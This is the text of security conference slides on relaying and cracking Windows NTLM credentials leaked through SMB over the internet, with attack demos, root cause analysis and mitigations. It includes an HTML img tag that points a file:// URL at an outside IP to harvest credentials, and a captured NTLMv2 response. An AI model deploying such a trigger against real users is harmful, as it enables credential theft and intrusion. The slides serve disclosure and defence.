SMB: SHARING MORE THAN JUST YOUR FILES

Hormazd Billimoria, Jonathan Brossard
Who are we?

Jonathan Brossard  @endrazine

Security Researcher
Presented at Blackhat/Defcon/CCC/HITB…

Co-founder of the NoSuchCon and Hackito Ergo
Sum Conferences (Paris)
Program Commitee of Shakacon (Hawaii)

Check out https://www.moABI.com
Who are we?

Hormazd Billimoria
Security Researcher

@hormazdb

First time speaker at Blackhat
Co-author of the first remote exploit against Windows 10
Co-author of the first remote exploit against Microsoft Edge
Agenda
Agenda

• Introduction to SMB
• Previous Work
• SMB Relay Rebooted
• Root cause analysis
• French Kiss (attack)
• Syphilis (attack)
• Ménage à Trois (attack)
• Mitigation
Introduction to SMB
Demo: Previous Work
Introduction to SMB

What is SMB?

A network file sharing protocol
Requires Authentication
Designed for Local networks
Introduction to SMB

What is NTLM?

NT LAN Manager: Suite of security protocols NTLMv2
Challenge response authentication protocol
Cannot be replayed
SMB Relay

Very old exploit
Known since 2001 implemented by Sir Dystic (Cult of the Dead Cow)

Very good exploits
Alberto Solino (Core Security) smbrelayx.py
Metasploit module

How it works
Using the hash produced to re-authenticate against another service on the (same) machine.
SMB Relay

Original attack scenario

Attacker is on local intranet
Victim visits attackers website with file: // in img tag
IE auto authenticates to attacker

Attacker replays the hash back to the same victim (SMB Reflection : CVE2008-4037)
SMB Relay

Limits of this attack

Attacker needs to be on the same local network
NOT accessible over the Internet.
SMB Credential Reflection Vulnerability
(CVE2008-4037)

Microsoft issued a partial fix (MS08-068)
Prevents replay of hash to the same machine

Does not stop the attacker from
Relaying the hash to another machine
Breaking the hash
Contribution

We’re extending previous research:
SMB Relaying,
Breaking hashes...

this time, remotely over the internet
SMB Relay : Rebooted
DEMO: French Kiss Attack
(IE to SMB)
Affected Software

All versions of Windows are affected

First remote exploit against Windows 10
First remote exploit against Microsoft Edge
SMB Relay Rebooted

Main Assumption is Attacker is on the victim’s network.

**Issue Severity:**

Note that attacks targeting this issue only work in the *Intranet zone* – Internet Explorer will not send credentials automatically in the Internet zone. This limits attacks to coming from within the same subnet.
SMB Relay Rebooted

There's actually an IE setting for this:
The Mighty IMG tag

(Very) Basic trigger:

```html
<BODY>
<img src="file://54.152.102.42/shareme/abc.jpg"/>
</BODY>
```
SMB Relay Rebooted

What is going on here?
SMB Relay Rebooted

NTLM Message Type: NTLMSSP_AUTH (0x00000003)
- Lan Manager Response: 00000000000000000000000000000000
- NTLM Client Challenge: 0000000000000000
- NTLM Response: 6c814b0a16fbbc86ea17370ed3452168010100000000000...
  Length: 286
  Maxlen: 286
  Offset: 162
- NTLMv2 Response: 6c814b0a16fbbc86ea17370ed3452168010100000000000...
  NTProofStr: 6c814b0a16fbbc86ea17370ed3452168
  Response Version: 1
  Hi Response Version: 1
  Z: 000000000000
  Time: Jan 13, 2015 17:54:34.000000000 UTC
  Client Challenge: 9fa115478c469c4b
  Z: 00000000
- Attribute: NetBIOS computer name: server_name
- Attribute: NetBIOS domain name: WORKGROUP
- Attribute: DNS computer name: server_name
- Attribute: DNS domain name: WORKGROUP
- Attribute: Timestamp
- Attribute: Flags
- Attribute: Restrictions

Authentication is actually happening silently!
Root Cause Analysis
Root Cause Analysis
Root Cause Analysis
Root Cause Analysis
Differing the registry
Tracing
Tracing
Lessons learned

It’s not just IE
All Windows applications relaying on System dlls to fetch URLs are vulnerable (see C:\Windows\inetcplc.dll…).

Registry keys involved
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\*

What’s happening
Inetcplc.dll does save the settings properly in the registry. Registry configuration is queried, and then ignored!
DEMO: French Kiss to Malware (Syphilis attack)
Syphilis attack

Time to attack via SMB relay

Fool user into visiting malicious website (r/netsec ?)
Relay credentials to DC on the same network
Maybe attack NTLM over HTTP server auth?
Attack Limitations

Packet signing needs to be disabled (only for relaying malware)
Recommended to improve performance

SMB outbound needs to be enabled
Failing egress filtering at Firewall level (common)
In regards to packet signing...

SMB Signing must be disabled for Windows NTLM authentication to work

Technical Articles ID: KB74145
Last Modified: 9/25/2013

Environment
McAfee Firewall Enterprise 6.3.x, 8.2.x

Summary
According Microsoft KB article 887429 (support.microsoft.com/kb/887429), you can configure SMB signing to be OFF, ON but not required, or ON and required for clients to login.

You must disable SMB signing (in other words, set it to OFF) for NTLM authentication via the firewall to work. You cannot set it to be ON but not required; you must completely disable it on the Windows server.

Solution
For instructions about turning SMB signing off, see PD21455,
DEMO: French Kiss to RDP
French Kiss to RDP

**Hash cracking**

GPU cracking Super fast (HashCat)
Our own cracking machine
Can crack 2.4 Billion hashes/sec
Hash Cracking Hardware
French Kiss to RDP

**Key space of 68 characters**
Uppercase
Lowercase
Alphanumeric
Special characters - !@#$%&

**8 Characters passwords**
$68^8$ - 2 days and 5 hours to crack
NTLM authentication over the Internet
Impact

Retreive user credentials
Username sent in plain text
Password cracked

Remote code execution
Leveraging NTLM authentication over HTTP allows us to RCE

Billions of corporate users are vulnerable
IE is the market leader in Corporate environments
Other triggers
DEMO : Video trigger
Ménage à Trois
DEMO : Ménage à trois
(SMB Relay to Exchange)
Ménage à Trois

Owing the cloud(s)
Demos done on Amazon AWS, Microsoft Azure

Thousands of servers allowing NTLM over HTTP

Unsafe defaults
Extended protection isn’t enabled by default
Extended protection is hard to configure
Mitigations
How to protect yourself

Egress filtering at Perimeter level
Drop outgoing SMB on ports 137/138/139/445.

Host level hardening
Drop outgoing SMB on ports 137/138/139/445 to public IPs

Enable Packet Signing

Enable Extended Protection
Take away
Impact

We forced a victim to send us their credentials
Through a website
Through an email
Through a video...

Able to upload malware
Able to replay SMB to Exchange
Able to replay to any service using NTLMSSP

And all of this was done remotely from the Internet
All versions of Windows are affected
Windows 10 and Microsoft Edge are also vulnerable
Acknowledgements
Greetings

Special thanks to MSRC for working on those vulnerabilities with us for the past 9 months.
Questions ?